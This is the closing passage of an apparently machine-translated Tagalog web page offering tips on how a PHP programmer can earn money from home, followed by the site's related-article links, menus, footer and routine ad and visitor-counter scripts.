feedback mula sa iyong mga customer. Upang magtagumpay sa ganitong paraan ng kita, gawin ang trabaho nang tapat at mahusay. Dapat kang makipag-usap sa mga customer, malinaw na ipaliwanag kung ano ang maaari at hindi mo magagawa.</p><p>Hindi ito ang buong listahan ng mga kita para sa isang php programmer, ngunit salamat sa mga pamamaraang ito ng kita ng pera, na nakasulat sa itaas, maaari ka nang kumita ng pera nang hindi umaalis sa bahay. Sa paunang yugto, ito ay magiging isang mahusay na tagumpay. Ang pangunahing bagay ay hindi huminto doon. Patuloy na mapabuti at lumikha ng mga proyekto na magdadala sa iyo hindi lamang magandang kita, kundi pati na rin ang kasiyahan.</p> <br><b>tungkol sa may-akda</b> <br><p>Paano kumita ng magandang pera ang isang PHP programmer sa bahay?</p> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast_after?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy loading=lazy>");</script> </div> </article> <div class="related_block"> <div class="title">Mga kaugnay na publikasyon</div> <ul class="recent_ul"> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/d356145b8d32a4e43aa5ed76e39606a7.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/tl/vstupit-v-gruppu-po-zarabotku-deneg-kak-zarabotat.html">Paano kumita ng pera sa VKontakte sa iyong pahina at wala ito - talagang gumaganang mga pamamaraan</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/c140bebb4b361b4583c11c49e770bc39.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/tl/kak-pomenyat-temu-dlya-vkontakte-v-yandeks-brauzere-kak-pomenyat-temu-v-kontakte.html">Paano baguhin ang tema para sa VKontakte sa Yandex</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/40e1db5c5747911f9c43c259f44aeadb.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/tl/nastroika-velokompyutera-na-diametr-koles-26-2-2-podklyuchenie-velokompyutera-kak.html">Pagtatakda ng bike computer para sa diameter ng gulong 26 2</a></li> </ul> </div> </div> <aside id="sidebar"> <div class="block"> <nav class="sidebar_menu"> <div class="menu-sidebar_menu-container"> <ul id="menu-sidebar_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/programs/">Mga programa</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/windows/">Windows</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/devices/">Mga device</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/browsers/">Mga browser</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/reviews/">Mga pagsusuri</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/reviews/">Mga pagsusuri</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/setup/">Mga setting</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/torrent/">Torrent</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/editors/">Mga editor</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/instagram/">Instagram</a></li> </ul> </div> </nav> </div> <div class="block recent_block"> <div class="title">Ang mga huling tala</div> <ul class="popular"> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/5e60cc62a5f20ab07a340013922f0d2c.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Ang pinakamaliit na computer sa mundo: larawan, paglalarawan, rating Ang pinakamaliit na PC sa mundo" / loading=lazy loading=lazy> <span class="cat">Mga programa</span></div> <a href="https://storerarity.ru/tl/samyi-malenkii-kompyuter-v-mire-foto-opisanie-reiting.html">Ang pinakamaliit na computer sa mundo: larawan, paglalarawan, rating Ang pinakamaliit na PC sa mundo</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/cdb555606d94b8ae1d51c87fc743c991.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Paano i-install ang Yula application at magparehistro" / loading=lazy loading=lazy> <span class="cat">Mga programa</span></div> <a href="https://storerarity.ru/tl/kak-postavit-prilozhenie-yula-zaregistrirovatsya-prilozhenie-yula-ustanovka.html">Paano i-install ang Yula application at magparehistro</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/af70d4bfa7ecf603e659893b5979f8d6.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Smartphone Samsung Grand Duos: mga katangian, mga pagsusuri sa paglalarawan ng Samsung galaxy grand duos" / loading=lazy loading=lazy> <span class="cat">Mga programa</span></div> <a href="https://storerarity.ru/tl/samsung-galaxy-grand-duos-bolshoi-i-moshchnyi-smartfon-samsung-grand-duos-harakteristiki-otzyvy-sam.html">Smartphone Samsung Grand Duos: mga katangian, mga pagsusuri sa paglalarawan ng Samsung galaxy grand duos</a></li> </ul> </div> </aside> </div> </div> <div class="clear"></div> <footer id="footer"><div class="wrapper"> <div class="copy">2024 | Mga computer para sa lahat - Pag-setup, pag-install, pagbawi</div> <nav class="header_menu"> <div class="menu-footer_menu-container"> </div> </nav> </div></footer> <div id="toTop"></div> <script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js'></script> <nav class="mobile_menu"> <div class="close_menu"></div> <div class="mob_menu"> <div class="menu-mobile_menu-container"> <ul id="menu-mobile_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/programs/">Mga programa</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/windows/">Windows</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/devices/">Mga device</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/browsers/">Mga browser</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/reviews/">Mga pagsusuri</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/reviews/">Mga pagsusuri</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/setup/">Mga setting</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/tl/category/torrent/">Torrent</a></li> </ul> </div> </div> </nav> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> </body> </html>